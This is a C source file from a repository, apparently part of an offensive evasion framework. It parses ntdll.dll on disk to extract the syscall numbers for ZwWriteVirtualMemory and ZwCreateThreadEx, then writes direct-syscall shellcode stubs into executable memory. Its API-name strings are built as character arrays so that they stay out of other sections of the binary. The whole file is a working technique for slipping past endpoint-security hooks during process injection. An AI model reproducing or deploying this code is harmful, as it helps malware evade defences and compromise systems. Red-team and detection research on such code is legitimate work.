mirror of
https://github.com/thomasxm/BOAZ_beta
synced 2026-06-06 16:54:29 +00:00
419 lines
14 KiB
C
Executable File
419 lines
14 KiB
C
Executable File
|
|
|
|
static _inline void real_dprintf2(char *format, ...)
|
|
{
|
|
va_list args;
|
|
char buffer[1024];
|
|
size_t len;
|
|
_snprintf_s(buffer, sizeof(buffer), sizeof(buffer)-1, "[%x] ", GetCurrentThreadId());
|
|
len = strlen(buffer);
|
|
va_start(args, format);
|
|
vsnprintf_s(buffer + len, sizeof(buffer)-len, sizeof(buffer)-len - 3, format, args);
|
|
strcat_s(buffer, sizeof(buffer), "\r\n");
|
|
OutputDebugStringA(buffer);
|
|
va_end(args);
|
|
}
|
|
|
|
|
|
//#define DEBUGTRACE 1
|
|
|
|
#ifdef DEBUGTRACE
|
|
#define dprintf2(...) real_dprintf2(__VA_ARGS__)
|
|
#define dprintf(...) real_dprintf2(__VA_ARGS__)
|
|
#if DEBUGTRACE == 1
|
|
#define vdprintf dprintf
|
|
#else
|
|
#define vdprintf(...) do{}while(0);
|
|
#endif
|
|
#else
|
|
#define dprintf(...) do{}while(0);
|
|
#define dprintf2(...) do{}while(0);
|
|
#define vdprintf(...) do{}while(0);
|
|
#endif
|
|
|
|
static const unsigned int SYSCALL_ID_OFFSET = 4; // nb of bytes after a function's address that represents the syscall's id
|
|
|
|
// the strings below are written this way to prevent them from being stored in a different section of the executable.
|
|
/*static char NtCreateFile_api[] = { 'Z','w','C','r','e','a','t','e','F','i','l','e',0 };
|
|
static char NtAllocateVirtualMemory_api[] = { 'Z','w','A','l','l','o','c','a','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y',0 };
|
|
static char NtAlpcConnectPort_api[] = { 'Z','w','A','l','p','c','C','o','n','n','e','c','t','P','o','r','t',0 };
|
|
static char NtAlpcConnectPortEx_api[] = { 'Z','w','A','l','p','c','C','o','n','n','e','c','t','P','o','r','t','E','x',0 };
|
|
static char NtAlpcSendWaitReceivePort_api[] = { 'Z','w','A','l','p','c','S','e','n','d','W','a','i','t','R','e','c','e','i','v','e','P','o','r','t',0 };
|
|
static char NtConnectPort_api[] = { 'Z','w','C','o','n','n','e','c','t','P','o','r','t',0 };
|
|
static char NtCreateSection_api[] = { 'Z','w','C','r','e','a','t','e','S','e','c','t','i','o','n',0 };
|
|
static char NtCreateThread_api[] = { 'Z','w','C','r','e','a','t','e','T','h','r','e','a','d',0 };
|
|
static char NtMapViewOfSection_api[] = { 'Z','w','M','a','p','V','i','e','w','O','f','S','e','c','t','i','o','n',0 };
|
|
static char NtProtectVirtualMemory_api[] = { 'Z','w','P','r','o','t','e','c','t','V','i','r','t','u','a','l','M','e','m','o','r','y',0 };
|
|
static char NtQueueApcThread_api[] = { 'Z','w','Q','u','e','u','e','A','p','c','T','h','r','e','a','d',0 };
|
|
static char NtRequestWaitReplyPort_api[] = { 'Z','w','R','e','q','u','e','s','t','W','a','i','t','R','e','p','l','y','P','o','r','t',0 };
|
|
static char NtResumeProcess_api[] = { 'Z','w','R','e','s','u','m','e','P','r','o','c','e','s','s',0 };
|
|
static char NtResumeThread_api[] = { 'Z','w','R','e','s','u','m','e','T','h','r','e','a','d',0 };
|
|
static char NtSecureConnectPort_api[] = { 'Z','w','S','e','c','u','r','e','C','o','n','n','e','c','t','P','o','r','t',0 };
|
|
static char NtSetContextThread_api[] = { 'Z','w','S','e','t','C','o','n','t','e','x','t','T','h','r','e','a','d',0 };
|
|
static char NtSetInformationThread_api[] = { 'Z','w','S','e','t','I','n','f','o','r','m','a','t','i','o','n','T','h','r','e','a','d',0 };
|
|
static char NtSuspendProcess_api[] = { 'Z','w','S','u','s','p','e','n','d','P','r','o','c','e','s','s',0 };
|
|
static char NtSuspendThread_api[] = { 'Z','w','S','u','s','p','e','n','d','T','h','r','e','a','d',0 };
|
|
static char NtCreateProcess_api[] = { 'Z','w','C','r','e','a','t','e','P','r','o','c','e','s','s',0 };
|
|
static char NtCreateProcessEx_api[] = { 'Z','w','C','r','e','a','t','e','P','r','o','c','e','s','s','E','x',0 };
|
|
static char NtCreateUserProcess_api[] = { 'Z','w','C','r','e','a','t','e','U','s','e','r','P','r','o','c','e','s','s',0 };
|
|
static char NtFreeVirtualMemory_api[] = { 'Z','w','F','r','e','e','V','i','r','t','u','a','l','M','e','m','o','r','y',0 };
|
|
static char NtQueueApcThreadEx_api[] = { 'Z','w','Q','u','e','u','e','A','p','c','T','h','r','e','a','d','E','x',0 };
|
|
static char NtReadVirtualMemory_api[] = { 'Z','w','R','e','a','d','V','i','r','t','u','a','l','M','e','m','o','r','y',0 };
|
|
static char NtSetInformationProcess_api[] = { 'Z','w','S','e','t','I','n','f','o','r','m','a','t','i','o','n','P','r','o','c','e','s','s',0 };
|
|
static char NtUnmapViewOfSection_api[] = { 'Z','w','U','n','m','a','p','V','i','e','w','O','f','S','e','c','t','i','o','n',0 };
|
|
*/
|
|
|
|
static char NtWriteVirtualMemory_api[] = { 'Z','w','W','r','i','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y',0 };
|
|
static char NtCreateThreadEx_api[] = { 'Z','w','C','r','e','a','t','e','T','h','r','e','a','d','E','x',0 };
|
|
//static char NtWriteVirtualMemory_api[] = { 'a','r','a',0 };
|
|
//static char NtCreateThreadEx_api[] = { 'a','x',0 };
|
|
|
|
|
|
// store locations of strings on the stack
|
|
static const char* __API_names[] = {
|
|
/*NtCreateFile_api,
|
|
NtAllocateVirtualMemory_api,
|
|
NtAlpcConnectPort_api,
|
|
NtAlpcConnectPortEx_api,
|
|
NtAlpcSendWaitReceivePort_api,
|
|
NtConnectPort_api,
|
|
NtCreateSection_api,
|
|
NtCreateThread_api,*/
|
|
NtCreateThreadEx_api,
|
|
NtWriteVirtualMemory_api
|
|
/*NtMapViewOfSection_api,
|
|
NtProtectVirtualMemory_api,
|
|
NtQueueApcThread_api,
|
|
NtRequestWaitReplyPort_api,
|
|
NtResumeProcess_api,
|
|
NtResumeThread_api,
|
|
NtSecureConnectPort_api,
|
|
NtSetContextThread_api,
|
|
NtSetInformationThread_api,
|
|
NtSuspendProcess_api,
|
|
NtSuspendThread_api,*/
|
|
/*NtWriteVirtualMemory_api,
|
|
NtCreateProcess_api,
|
|
NtCreateProcessEx_api,
|
|
NtCreateUserProcess_api,
|
|
NtFreeVirtualMemory_api,
|
|
NtQueueApcThreadEx_api,
|
|
NtReadVirtualMemory_api,
|
|
NtSetInformationProcess_api,
|
|
NtUnmapViewOfSection_api*/
|
|
};
|
|
|
|
|
|
// groups useful infos about a given syscall
|
|
typedef struct _syscall_info {
|
|
const char *name; // API name
|
|
unsigned int id; // syscall ID: value passed to EAX in ntdll before issuing the 'syscall' instruction
|
|
} syscall_info;
|
|
|
|
static syscall_info* syscall_infos; // collection of syscalls
|
|
static BOOL syscalls_initialized = FALSE; // tracks initialization state
|
|
|
|
/*
|
|
* compares two strings for strict equality
|
|
*
|
|
* \param string1 a string
|
|
* \param string2 another string
|
|
* \return 1 if the strings are equal, 0 otherwise.
|
|
*/
|
|
static int strequal(const char* string1, const char* string2)
|
|
{
|
|
while (*string1 && *string2)
|
|
|
|
if (*string1++ != *string2++)
|
|
return 0;
|
|
|
|
if (!*string1 && !*string2)
|
|
return 1;
|
|
|
|
return 0;
|
|
}
|
|
|
|
/*
|
|
* allows to find a syscall by its name. Precondition: syscalls have been inited
|
|
*
|
|
* \param name the name of the API
|
|
* \return infos about a syscall, such as its ID
|
|
*/
|
|
static syscall_info* get_syscall_by_name(const char* name)
|
|
{
|
|
dprintf2("[nteav] get_syscall_by_name");
|
|
|
|
SIZE_T nb_api_names = sizeof(__API_names) / sizeof(__API_names[0]);
|
|
|
|
for (unsigned int i = 0; i < nb_api_names; i++)
|
|
{
|
|
if (strequal(syscall_infos[i].name, (const char*)name))
|
|
{
|
|
dprintf2("[nteav] syscall found");
|
|
return &(syscall_infos[i]);
|
|
}
|
|
}
|
|
|
|
dprintf2("[nteav] syscall not found !");
|
|
|
|
return NULL;
|
|
}
|
|
|
|
//delete me
|
|
static void print_syscall(syscall_info* sinfo)
|
|
{
|
|
dprintf2("[nteav] print_syscall");
|
|
|
|
|
|
//convert to little endian (byte swap)
|
|
unsigned char lvalue = sinfo->id & 255;
|
|
unsigned char hvalue = (sinfo->id / 256) & 255;
|
|
dprintf2("%08X %s low = %02x high = %02x disass = ", sinfo->id, sinfo->name, lvalue, hvalue);
|
|
|
|
unsigned char syscall_shellcode[] = {
|
|
0x4c,0x8b,0xd1,
|
|
0xb8,0x18,0x00,0x00,0x00,
|
|
0x0f,0x05,
|
|
0xc3
|
|
};
|
|
|
|
// update the shellcode with the correct syscall id
|
|
syscall_shellcode[4] = lvalue;
|
|
syscall_shellcode[5] = hvalue;
|
|
|
|
// print the shellcode
|
|
for (int i = 0; i < sizeof(syscall_shellcode) / sizeof(unsigned char); i++) {
|
|
dprintf2(" %02x", syscall_shellcode[i]);
|
|
}
|
|
|
|
dprintf2("\n");
|
|
}
|
|
|
|
|
|
/*
|
|
* see if confused about RVAs, VAs and file offsets https://github.com/deptofdefense/SalSA/wiki/PE-File-Format
|
|
* in short, it is necessary to iterate over every section in the PE to find the one where the RVA lives.
|
|
* Then, the RVA minus the section's virtual address allows to find an offset that can be added to the section's offset on disk...
|
|
* the result is a new offset relative to the start of the file.
|
|
*/
|
|
static DWORD rva_to_file_offset(PIMAGE_SECTION_HEADER sections_headers, DWORD nb_sections, DWORD file_size, DWORD rva)
|
|
{
|
|
PIMAGE_SECTION_HEADER current_section_header = sections_headers;
|
|
DWORD i;
|
|
for (i = 0; i < nb_sections; i++, current_section_header++)
|
|
{
|
|
if (rva >= sections_headers->VirtualAddress && rva <= (current_section_header->VirtualAddress + current_section_header->SizeOfRawData))
|
|
{
|
|
DWORD delta = rva - current_section_header->VirtualAddress;
|
|
return current_section_header->PointerToRawData + delta;;
|
|
}
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
/*
|
|
* read a file from disk
|
|
*
|
|
* \param file_path file location on disk
|
|
* \param file_buffer result buffer pointing to the file's content
|
|
* \param file_size result size of the file
|
|
* \return TRUE if the file could be read
|
|
*/
|
|
static BOOL read_input_file(LPCSTR file_path, LPBYTE *file_buffer, unsigned long *file_size)
|
|
{
|
|
dprintf2("[nteav] read_input_file");
|
|
HANDLE handle_file_in = CreateFileA(file_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
|
|
unsigned long bytes_read = 0;
|
|
|
|
if (handle_file_in == INVALID_HANDLE_VALUE)
|
|
{
|
|
dprintf2("[!] Invalid handle value for target file, error = %d\n", GetLastError());
|
|
return FALSE;
|
|
}
|
|
|
|
dprintf2("[nteav] open success");
|
|
|
|
|
|
*file_size = GetFileSize(handle_file_in, NULL);
|
|
*file_buffer = (LPBYTE)malloc(*file_size);
|
|
ReadFile(handle_file_in, *file_buffer, *file_size, &bytes_read, 0);
|
|
CloseHandle(handle_file_in);
|
|
|
|
if (bytes_read != *file_size)
|
|
{
|
|
dprintf2("[!] Problem encountered while loading the target file in memory\n");
|
|
VirtualFree(*file_buffer, bytes_read, MEM_RELEASE);
|
|
return FALSE;
|
|
}
|
|
|
|
dprintf2("[nteav] read success");
|
|
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
/*
|
|
* Locate the Export Directory in a given PE file
|
|
*
|
|
* \param file_buffer content of the PE file
|
|
* \param file_size size of the PE file
|
|
* \param first_section pointer to the first section's header in the PE file
|
|
* \param nb_sections number of sections in the PE file
|
|
* \return a pointer to the export directory
|
|
*/
|
|
static PIMAGE_EXPORT_DIRECTORY get_export_dir(LPBYTE file_buffer, DWORD file_size, PIMAGE_SECTION_HEADER *first_section, DWORD* nb_sections)
|
|
{
|
|
dprintf2("[nteav] get_export_dir");
|
|
|
|
PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)file_buffer;
|
|
|
|
if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) {
|
|
dprintf2("[!] Bad PE\n");
|
|
}
|
|
|
|
dprintf2("[nteav] good PE");
|
|
|
|
PIMAGE_NT_HEADERS nt_header = (PIMAGE_NT_HEADERS)(file_buffer + dos_header->e_lfanew);
|
|
*nb_sections = nt_header->FileHeader.NumberOfSections;
|
|
|
|
*first_section = (PIMAGE_SECTION_HEADER) (file_buffer + dos_header->e_lfanew +sizeof(IMAGE_NT_HEADERS));
|
|
|
|
DWORD export_rva = nt_header->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
|
DWORD export_file_offset = rva_to_file_offset(*first_section, *nb_sections, file_size, export_rva);
|
|
|
|
return (PIMAGE_EXPORT_DIRECTORY)(file_buffer + export_file_offset);
|
|
}
|
|
|
|
/*
|
|
* parses ntdll and populates the syscall_info structures
|
|
*
|
|
*/
|
|
static void init_syscalls_ids()
|
|
{
|
|
PBYTE file_buffer = NULL; //ntdll's content
|
|
DWORD file_size = 0; //size of the dll
|
|
|
|
dprintf2("[nteav] init_syscalls_ids");
|
|
|
|
|
|
if (!read_input_file("c:\\windows\\system32\\ntdll.dll", &file_buffer, &file_size))
|
|
{
|
|
dprintf2("Error reading file.\n");
|
|
return;
|
|
}
|
|
|
|
dprintf2("[nteav] read success");
|
|
|
|
PIMAGE_SECTION_HEADER first_section; // first section's header, points to an array of sections headers.
|
|
DWORD nb_sections = 0; // number of sections in ntdll
|
|
|
|
PIMAGE_EXPORT_DIRECTORY export_directory = get_export_dir(file_buffer, file_size, &first_section, &nb_sections);
|
|
|
|
PDWORD functions_address = (PDWORD)(file_buffer + rva_to_file_offset(first_section, nb_sections, file_size, export_directory->AddressOfFunctions));
|
|
PWORD ordinals_address = (PWORD)(file_buffer + rva_to_file_offset(first_section, nb_sections, file_size, export_directory->AddressOfNameOrdinals));
|
|
PDWORD names_address = (PDWORD)(file_buffer + rva_to_file_offset(first_section, nb_sections, file_size, export_directory->AddressOfNames));
|
|
|
|
dprintf2("Id Name Low High Disass\n");
|
|
dprintf2("--------------------------\n");
|
|
|
|
SIZE_T nb_api_names = sizeof(__API_names) / sizeof(__API_names[0]);
|
|
syscall_infos = (syscall_info*)malloc(nb_api_names * sizeof(syscall_info));
|
|
|
|
for (DWORD i = 0; i < export_directory->NumberOfNames; ++i)
|
|
{
|
|
DWORD rva_api = functions_address[ordinals_address[i]];
|
|
DWORD file_offset_name = rva_to_file_offset(first_section, nb_sections, file_size, names_address[i]);
|
|
|
|
unsigned char* name = file_buffer + file_offset_name;
|
|
|
|
/*
|
|
windbg > u NtCreateFile
|
|
ntdll!NtCreateFile:
|
|
00007ffa`202458e0 4c8bd1 mov r10,rcx
|
|
00007ffa`202458e3 b855000000 mov eax,55h
|
|
00007ffa`202458e8 f604250803fe7f01 test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
|
|
00007ffa`202458f0 7503 jne ntdll!NtCreateFile+0x15 (00007ffa`202458f5)
|
|
00007ffa`202458f2 0f05 syscall
|
|
00007ffa`202458f4 c3 ret
|
|
00007ffa`202458f5 cd2e int 2Eh
|
|
00007ffa`202458f7 c3 ret
|
|
*/
|
|
|
|
// filter everything except Zw* API functions
|
|
if (!(*name == 'Z' && *(name + 1) == 'w'))
|
|
continue;
|
|
|
|
PBYTE procedure_address = file_buffer + rva_to_file_offset(first_section, nb_sections, file_size, rva_api);
|
|
|
|
// get the syscall id
|
|
DWORD syscall_id = *(DWORD *)(procedure_address + SYSCALL_ID_OFFSET);
|
|
|
|
// filter according to suspicious API calls
|
|
for (unsigned int i = 0; i < nb_api_names; i++)
|
|
{
|
|
if (strequal(__API_names[i], (const char*)name))
|
|
{
|
|
syscall_infos[i].name = __API_names[i];
|
|
syscall_infos[i].id = syscall_id;
|
|
print_syscall(&(syscall_infos[i]));
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
VirtualFree((LPVOID)file_buffer, file_size, MEM_RELEASE);
|
|
}
|
|
|
|
/*
|
|
* get shellcode for a given syscall (native Zw/Nt API)
|
|
*
|
|
* \param name the syscall name (such as ZwCreateFile)
|
|
* \return a buffer containing the shellcode, ready to be executed.
|
|
*/
|
|
static LPVOID get_shellcode_buffer(const char* name)
|
|
{
|
|
|
|
dprintf2("[nteav] get_shellcode_buffer");
|
|
|
|
if (!syscalls_initialized)
|
|
{
|
|
syscalls_initialized = TRUE;
|
|
init_syscalls_ids();
|
|
}
|
|
|
|
dprintf2("[nteav] ready");
|
|
|
|
syscall_info* syscall = get_syscall_by_name(name);
|
|
|
|
if (syscall == NULL)
|
|
{
|
|
dprintf2("[nteav] No syscall found\n");
|
|
return NULL;
|
|
}
|
|
|
|
unsigned int syscall_id = syscall->id;
|
|
|
|
unsigned char syscall_shellcode[] = {
|
|
0x4c,0x8b,0xd1,
|
|
0xb8,0x18,0x00,0x00,0x00,
|
|
0x0f,0x05,
|
|
//0xb8, 0x01, 0x00, 0x00, 0x00,
|
|
0xc3
|
|
};
|
|
|
|
//convert to little endian (byte swap)
|
|
unsigned char lvalue = syscall_id & 255;
|
|
unsigned char hvalue = (syscall_id / 256) & 255;
|
|
|
|
// update the shellcode with the correct syscall id
|
|
syscall_shellcode[4] = lvalue;
|
|
syscall_shellcode[5] = hvalue;
|
|
|
|
dprintf2("[nteav] generating shellcode");
|
|
|
|
void *qapcmem = VirtualAlloc(0, sizeof(syscall_shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
memcpy(qapcmem, syscall_shellcode, sizeof(syscall_shellcode));
|
|
return qapcmem;
|
|
}
|